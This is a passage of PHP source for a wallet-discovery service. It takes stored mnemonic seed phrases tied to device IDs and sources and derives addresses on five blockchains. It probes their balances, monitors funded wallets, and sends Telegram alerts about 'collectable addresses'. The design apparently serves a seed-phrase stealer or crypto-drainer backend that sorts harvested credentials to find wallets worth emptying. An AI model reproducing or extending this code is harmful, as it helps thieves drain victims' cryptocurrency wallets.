*/ private const CHAINS = [ ['chain' => 'tron', 'chain_type' => 'TRON'], ['chain' => 'eth', 'chain_type' => 'ETH'], ['chain' => 'bsc', 'chain_type' => 'BSC'], ['chain' => 'btc', 'chain_type' => 'BTC'], ['chain' => 'sol', 'chain_type' => 'SOLANA'], ]; public function __construct( private readonly ChainManager $chains, private readonly TelegramNotifier $telegram, private readonly TokenviewMonitorService $tokenview, private readonly AlchemyBalanceService $alchemy, ) {} /** * @return int Number of address rows created or updated */ public function discoverIndexZero(WalletMnemonic $mnemonic): int { return $this->discoverActivated($mnemonic); } /** * @param bool $force Manual trigger (view wallet / refresh): bypass the * discovery_complete flag and the per-chain miss cache * so unlinked chains are always re-probed. Does not * set discovery_complete. * @return int Number of address rows created or updated */ public function discoverActivated(WalletMnemonic $mnemonic, bool $force = false): int { $phrase = $mnemonic->mnemonic; if ($phrase === null || trim($phrase) === '') { return 0; } $words = preg_split('/\s+/', trim($phrase)) ?: []; if (count($words) < 12) { Log::info('mnemonic wallet discovery skipped: phrase too short', [ 'mnemonic_id' => $mnemonic->id, 'word_count' => count($words), ]); return 0; } // Scheduled task: skip mnemonics already fully probed across all chains. if (! $force && (bool) $mnemonic->discovery_complete) { return 0; } $linkedChainTypes = WalletAddress::query() ->where('mnemonic_id', $mnemonic->id) ->pluck('chain_type') ->map(fn ($c) => strtoupper(trim((string) $c))) ->filter() ->unique() ->values() ->all(); $source = trim((string) ($mnemonic->source ?: '')); $saved = []; $covered = []; // chain => true when linked / miss-cached / probed this run $created = ChainHttpTimeout::using(self::PROBE_TIMEOUT_SECONDS, function () use ($mnemonic, $phrase, $source, $linkedChainTypes, $force, &$saved, &$covered) { foreach (self::CHAINS as $spec) { $chain = $spec['chain']; if ($this->hasLinkedChain($linkedChainTypes, $chain)) { $covered[$chain] = true; continue; } // Scheduled runs respect the miss cache; manual force bypasses it. if (! $force && Cache::has($this->missCacheKey($mnemonic, $chain))) { $covered[$chain] = true; continue; } try { $rows = $this->discoverChain($mnemonic, $phrase, $source, $chain, $spec['chain_type']); } catch (\Throwable $e) { Log::warning('mnemonic wallet discovery failed: '.$e->getMessage(), [ 'mnemonic_id' => $mnemonic->id, 'chain' => $chain, ]); $this->rememberMiss($mnemonic, $chain); $covered[$chain] = true; continue; } $covered[$chain] = true; if ($rows === []) { $this->rememberMiss($mnemonic, $chain); } foreach ($rows as $row) { $saved[] = $row; } } if ($saved !== []) { $this->telegram->notifyCollectableAddresses($saved); } return count($saved); }); // Scheduled run: mark complete once every chain has been probed at least once. if (! $force && count($covered) === count(self::CHAINS)) { WalletMnemonic::query() ->whereKey($mnemonic->id) ->update([ 'discovery_complete' => true, 'discovered_at' => now(), ]); } return $created; } private function missCacheKey(WalletMnemonic $mnemonic, string $chain): string { return 'mnemonic-discover-miss:'.$mnemonic->id.':'.$chain; } private function rememberMiss(WalletMnemonic $mnemonic, string $chain): void { Cache::put($this->missCacheKey($mnemonic, $chain), 1, self::MISS_CACHE_SECONDS); } /** * @param list $linkedChainTypes uppercase chain_type values already linked */ private function hasLinkedChain(array $linkedChainTypes, string $chain): bool { $aliases = match ($chain) { 'tron' => ['TRON', 'TRX'], 'eth' => ['ETH', 'ETHEREUM', 'EVM'], 'bsc' => ['BSC', 'BNB', 'BINANCE'], 'btc' => ['BTC', 'BITCOIN'], 'sol' => ['SOL', 'SOLANA'], default => [strtoupper($chain)], }; return array_intersect($aliases, $linkedChainTypes) !== []; } /** * Persisted linked rows, or ephemeral index-0 previews when none exist. * * @return list> */ public function walletCards(WalletMnemonic $mnemonic): array { $addresses = WalletAddress::query() ->where('mnemonic_id', $mnemonic->id) ->orderBy('id') ->get(); if ($addresses->isNotEmpty()) { return $addresses->map(function (WalletAddress $addr) { $coins = $addr->formattedCoins(); return [ 'id' => $addr->id, 'address' => $addr->address, 'chain_type' => $addr->chain_type ?: '', 'source' => $addr->source ?: '', 'derive_index' => $addr->derive_index, 'usdt' => $coins['usdt'], 'trx' => $coins['trx'], 'eth' => $coins['eth'], 'btc' => $coins['btc'], 'bnb' => $coins['bnb'], 'sol' => $coins['sol'], 'active' => true, 'persisted' => true, ]; })->values()->all(); } return $this->inactiveIndexZeroCards($mnemonic); } /** * @return list */ private function discoverChain( WalletMnemonic $mnemonic, string $phrase, string $source, string $chain, string $chainType, ): array { $driver = $this->chains->resolve($chain); $saved = []; for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) { try { $address = $driver->deriveAddress($phrase, $index); } catch (\Throwable $e) { Log::warning('mnemonic wallet discovery derive failed: '.$e->getMessage(), [ 'mnemonic_id' => $mnemonic->id, 'chain' => $chain, 'index' => $index, ]); break; } try { $probe = $this->probeActivated($chain, $driver, $address); } catch (\Throwable $e) { Log::warning('mnemonic wallet discovery probe failed: '.$e->getMessage(), [ 'mnemonic_id' => $mnemonic->id, 'chain' => $chain, 'address' => $address, 'index' => $index, ]); break; } if (! $probe['activated']) { continue; } $saved[] = $this->persistActivated( $mnemonic, $source, $chainType, $address, $index, $probe['coins'], ); } return $saved; } /** * @return array{activated: bool, coins: array} */ private function probeActivated(string $chain, ChainDriver $driver, string $address): array { return match ($chain) { 'tron' => $this->probeTron($driver, $address), 'eth' => $this->probeEth($driver, $address), 'bsc' => $this->probeBsc($driver, $address), 'btc' => $this->probeBtc($driver, $address), 'sol' => $this->probeSol($driver, $address), default => ['activated' => false, 'coins' => []], }; } /** * @return array{activated: bool, coins: array} */ private function probeTron(ChainDriver $driver, string $address): array { if (! $driver instanceof TronDriver) { return ['activated' => $driver->isActivated($address), 'coins' => $this->emptyCoins('tron')]; } $probe = $driver->probeAccount($address); if (! $probe['activated']) { return ['activated' => false, 'coins' => $this->emptyCoins('tron')]; } return [ 'activated' => true, 'coins' => [ 'trx' => $probe['trx'], 'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.tron.usdt_contract', '')), ], ]; } /** * @return array{activated: bool, coins: array} */ private function probeEth(ChainDriver $driver, string $address): array { if ($this->alchemy->isEnabled()) { $result = $this->alchemy->fetch('ETH', $address); if ($result !== null) { return [ 'activated' => $result['activated'], 'coins' => $this->evmCoinsFromAlchemy($result, 'eth'), ]; } // Alchemy failed → fall through to RPC. } if (! $driver->isActivated($address)) { return ['activated' => false, 'coins' => $this->emptyCoins('eth')]; } return [ 'activated' => true, 'coins' => [ 'eth' => $driver->getNativeBalance($address), 'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.usdt_contract', '')), ], ]; } /** * @param array $result * @return array */ private function evmCoinsFromAlchemy(array $result, string $network): array { $coins = $this->emptyCoins($network); if ($result['native'] !== null) { $coins[$network] = $result['native']['amount']; } foreach ($result['tokens'] as $t) { if (strtoupper((string) ($t['symbol'] ?? '')) === 'USDT') { $coins['usdt'] = $t['amount']; break; } } return $coins; } /** * @return array{activated: bool, coins: array} */ private function probeBsc(ChainDriver $driver, string $address): array { if ($this->alchemy->isEnabled()) { $result = $this->alchemy->fetch('BSC', $address); if ($result !== null) { return [ 'activated' => $result['activated'], 'coins' => $this->evmCoinsFromAlchemy($result, 'bnb'), ]; } // Alchemy failed → fall through to RPC. } try { $bnb = $driver->getNativeBalance($address); } catch (\Throwable $e) { if (\App\Services\Chain\ChainHttpTimeout::active()) { throw $e; } return ['activated' => false, 'coins' => $this->emptyCoins('bsc')]; } $usdt = $this->tokenBalance($driver, $address, (string) config('coruna.bsc.usdt_contract', '')); if (bccomp($bnb, '0', 18) <= 0 && bccomp($usdt, '0', 18) <= 0) { return ['activated' => false, 'coins' => $this->emptyCoins('bsc')]; } return [ 'activated' => true, 'coins' => [ 'bnb' => $bnb, 'usdt' => $usdt, ], ]; } private function probeBtc(ChainDriver $driver, string $address): array { // Alchemy has no BTC chain RPC; BTC stays on the BtcDriver. if ($driver instanceof BtcDriver) { $probe = $driver->probeAddress($address); return [ 'activated' => $probe['activated'], 'coins' => ['btc' => $probe['btc']], ]; } if (! $driver->isActivated($address)) { return ['activated' => false, 'coins' => $this->emptyCoins('btc')]; } return [ 'activated' => true, 'coins' => ['btc' => $driver->getNativeBalance($address)], ]; } /** * @return array{activated: bool, coins: array} */ private function probeSol(ChainDriver $driver, string $address): array { if ($this->alchemy->isEnabled()) { $result = $this->alchemy->fetch('SOL', $address); if ($result !== null) { return [ 'activated' => $result['activated'], 'coins' => $this->solCoinsFromAlchemy($result), ]; } // Alchemy failed → fall through to SolDriver RPC. } try { $sol = $driver->getNativeBalance($address); } catch (\Throwable $e) { if (\App\Services\Chain\ChainHttpTimeout::active()) { throw $e; } return ['activated' => false, 'coins' => $this->emptyCoins('sol')]; } $usdt = $this->tokenBalance($driver, $address, (string) config('coruna.sol.usdt_contract', '')); $activated = bccomp($sol, '0', 9) > 0 || bccomp($usdt, '0', 6) > 0; if (! $activated) { return ['activated' => false, 'coins' => $this->emptyCoins('sol')]; } return [ 'activated' => true, 'coins' => [ 'sol' => $sol, 'usdt' => $usdt, ], ]; } /** * @param array $result * @return array */ private function solCoinsFromAlchemy(array $result): array { $coins = $this->emptyCoins('sol'); if ($result['native'] !== null) { $coins['sol'] = $result['native']['amount']; } foreach ($result['tokens'] as $t) { if (strtoupper((string) ($t['symbol'] ?? '')) === 'USDT') { $coins['usdt'] = $t['amount']; break; } } return $coins; } /** * @param array $coins */ private function persistActivated( WalletMnemonic $mnemonic, string $source, string $chainType, string $address, int $index, array $coins, ): WalletAddress { $row = WalletAddress::query()->firstOrNew([ 'device_id' => $mnemonic->device_id, 'address' => $address, 'source' => $source !== '' ? $source : null, 'chain_type' => $chainType, ]); $row->chain_type = $chainType; $row->mnemonic_id = $mnemonic->id; $row->derive_index = $index; $row->monitor = 1; if (! $row->exists) { $row->monitor_synced = false; $row->monitor_failures = 0; } foreach ($coins as $col => $value) { $row->{$col} = $value; } $row->save(); $this->enableMonitor($row); return $row; } /** * @return list> */ private function inactiveIndexZeroCards(WalletMnemonic $mnemonic): array { $phrase = $mnemonic->mnemonic; if ($phrase === null || trim($phrase) === '') { return []; } $source = trim((string) ($mnemonic->source ?: '')); $cards = []; foreach (self::CHAINS as $spec) { try { $address = $this->chains->resolve($spec['chain'])->deriveAddress($phrase, 0); } catch (\Throwable) { continue; } $cards[] = [ 'id' => null, 'address' => $address, 'chain_type' => $spec['chain_type'], 'source' => $source, 'derive_index' => 0, 'usdt' => null, 'trx' => null, 'eth' => null, 'btc' => null, 'bnb' => null, 'sol' => null, 'active' => false, 'persisted' => false, ]; } return $cards; } /** * @return array */ private function emptyCoins(string $chain): array { return match ($chain) { 'tron' => ['trx' => '0', 'usdt' => '0'], 'eth' => ['eth' => '0', 'usdt' => '0'], 'bsc' => ['bnb' => '0', 'usdt' => '0'], 'btc' => ['btc' => '0'], 'sol' => ['sol' => '0', 'usdt' => '0'], default => [], }; } private function enableMonitor(WalletAddress $address): void { try { $this->tokenview->syncMonitor($address); } catch (\Throwable $e) { Log::warning('tokenview enable on mnemonic discovery failed: '.$e->getMessage(), [ 'wallet_address_id' => $address->id, ]); } } private function tokenBalance(ChainDriver $driver, string $address, string $contract): string { $contract = trim($contract); if ($contract === '') { return '0'; } try { return (string) $driver->getTokenBalance($address, $contract); } catch (\Throwable) { return '0'; } } }